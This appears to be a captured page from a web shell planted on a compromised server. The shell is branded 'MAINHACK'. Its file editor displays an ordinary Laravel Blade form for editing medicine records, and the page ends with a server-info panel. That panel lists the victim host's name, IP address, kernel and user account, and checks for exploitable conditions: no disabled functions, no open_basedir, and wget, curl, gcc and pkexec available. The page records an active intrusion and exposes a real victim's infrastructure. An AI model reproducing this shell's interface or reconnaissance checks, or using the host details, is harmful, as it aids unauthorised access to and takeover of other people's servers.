[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit.blade.php
@extends('layouts.app') @section('title', translate('common.medicine_edit')) @section('custom-css') <link rel="stylesheet" type="text/css" href="{{ asset('dashboard/app-assets/vendors/css/forms/select/select2.min.css') }}"> @endsection @section('content') <section id="basic-horizontal-layouts"> <section id="multiple-column-form"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="card-title">{{ translate('common.medicine_edit') }}</h4> </div> <div class="card-body"> <form class="form" method="POST" enctype="multipart/form-data" action="{{ route('medicine.edit', $medicine->id) }}"> @csrf <div class="row"> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.qr_code') }}</label> <input type="text" id="first-name-column" class="form-control" placeholder="{{ translate('common.qr_code') }}" value="{{ $medicine->qr_code }}" name="qr_code"> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.name') }} <font color="red">*</font></label> <input type="text" id="first-name-column" class="form-control" placeholder="{{ translate('common.name') }}" value="{{ $medicine->name }}" name="name" required> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.strength') }}</label> <input type="text" id="first-name-column" class="form-control" placeholder="{{ translate('common.strength') }}" name="strength" value="{{ $medicine->strength }}"> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.generic_name') }}</label> <input type="text" id="first-name-column" class="form-control" placeholder="{{ translate('common.generic_name') }}" name="generic_name" name="strength" value="{{ $medicine->generic_name }}"> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.box_size') }} <font color="red">*</font></label> <select class="select2 form-select" id="select2-basic" data-select2-id="select2-basic" tabindex="-1" aria-hidden="true" name="leaf_id" required> <option value="">{{ translate('Select Box Size') }}</option> @foreach ($leaf as $leafs) <option value="{{ $leafs->id }}" @if ($medicine->leaf_id == $leafs->id) selected @endif> {{ $leafs->name }} ({{ $leafs->amount }}</option> @endforeach </select> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.units') }} <font color="red">*</font></label> <select class="select2 form-select" id="select2-basic" data-select2-id="select2-basic" tabindex="-1" aria-hidden="true" name="unit_id" required> <option value="">{{ translate('Select Unit') }}</option> @foreach ($unit as $leafs) <option value="{{ $leafs->id }}" @if ($medicine->unit_id == $leafs->id) selected @endif> {{ $leafs->name }} </option> @endforeach </select> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.shelf') }}</label> <input type="text" id="first-name-column" class="form-control" placeholder="{{ translate('common.shelf') }}" name="shelf" value="{{ $medicine->shelf }}"> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.desc') }}</label> <input type="text" id="first-name-column" class="form-control" placeholder="{{ translate('common.desc') }}" name="des" value="{{ $medicine->des }}"> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.category') }} <font color="red">*</font></label> <select class="select2 form-select" id="select2-basic" data-select2-id="select2-basic" tabindex="-1" aria-hidden="true" name="category_id" required> <option value="">{{ translate('Select Category') }}</option> @foreach ($category as $leafs) <option value="{{ $leafs->id }}" @if ($medicine->category_id == $leafs->id) selected @endif> {{ $leafs->name }} </option> @endforeach </select> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.types') }} <font color="red">*</font></label> <select class="select2 form-select" id="select2-basic" data-select2-id="select2-basic" tabindex="-1" aria-hidden="true" name="type_id" required> <option value="">Select Type</option> @foreach ($type as $leafs) <option value="{{ $leafs->id }}" @if ($medicine->type_id == $leafs->id) selected @endif> {{ $leafs->name }} </option> @endforeach </select> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.image') }}</label> <input class="form-control" type="file" name="image" id="formFile"> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.price') }} <font color="red">*</font></label> <input type="number" step="0.01" id="first-name-column" class="form-control" placeholder="{{ translate('common.price') }}" name="price" value="{{ $medicine->price }}" required> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.supplier') }} <font color="red">*</font></label> <select class="select2 form-select" id="select2-basic" data-select2-id="select2-basic" tabindex="-1" aria-hidden="true" name="supplier_id" required> <option value="">Select Supplier</option> @foreach ($supplier as $leafs) <option value="{{ $leafs->id }}" @if ($medicine->supplier_id == $leafs->id) selected @endif> {{ $leafs->name }} </option> @endforeach </select> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.buy_price') }} <font color="red">*</font></label> <input type="number" step="0.01" id="first-name-column" class="form-control" placeholder="{{ translate('common.buy_price') }}" name="buy_price" value="{{ $medicine->buy_price }}" required> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.vat') }} </label> <div class="input-group form-password-toggle mb-2"> <input type="number" step="0.01" class="form-control" placeholder="{{ translate('common.vat') }}" name="vat" aria-describedby="basic-default-password" value="{{ $medicine->vat }}"> <span class="input-group-text cursor-pointer">%</span> </div> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.igta') }} </label> <div class="input-group form-password-toggle mb-2"> <input type="number" step="0.01" class="form-control" placeholder="{{ translate('common.igta') }}" name="igta" aria-describedby="basic-default-password" value="{{ $medicine->igta }}"> <span class="input-group-text cursor-pointer">%</span> </div> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('common.status') }} </label> <div class="demo-inline-spacing"> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="status" id="inlineRadio1" value="1" @if ($medicine->status == 1) checked="" @endif> <label class="form-check-label" for="inlineRadio1">{{ translate('Active') }}</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="status" id="inlineRadio2" value="0" @if ($medicine->status == 0) checked="" @endif> <label class="form-check-label" for="inlineRadio2">{{ translate('Inactive') }}</label> </div> </div> </div> </div> <div class="col-md-6 col-12"> <div class="mb-1"> <label class="form-label" for="first-name-column">{{ translate('Show On Website') }} </label> <div class="demo-inline-spacing"> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="hot" id="inlineRadio1" value="1" @if ($medicine->hot == 1) checked="" @endif> <label class="form-check-label" for="inlineRadio1">{{ translate('Yes') }}</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="hot" id="inlineRadio2" value="0" @if ($medicine->hot == 0) checked="" @endif> <label class="form-check-label" for="inlineRadio2">{{ translate('No') }}</label> </div> </div> </div> </div> <div class="col-12"> <button type="submit" class="btn btn-primary me-1 waves-effect waves-float waves-light">{{ translate('common.submit') }}</button> <button type="reset" class="btn btn-outline-secondary waves-effect">{{ translate('common.reset') }}</button> </div> </div> </form> </div> </div> </div> </div> </section> </section> @endsection @section('custom-js') <script src="{{ asset('dashboard/app-assets/vendors/js/forms/select/select2.full.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/js/scripts/forms/form-select2.min.js') }}"></script> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002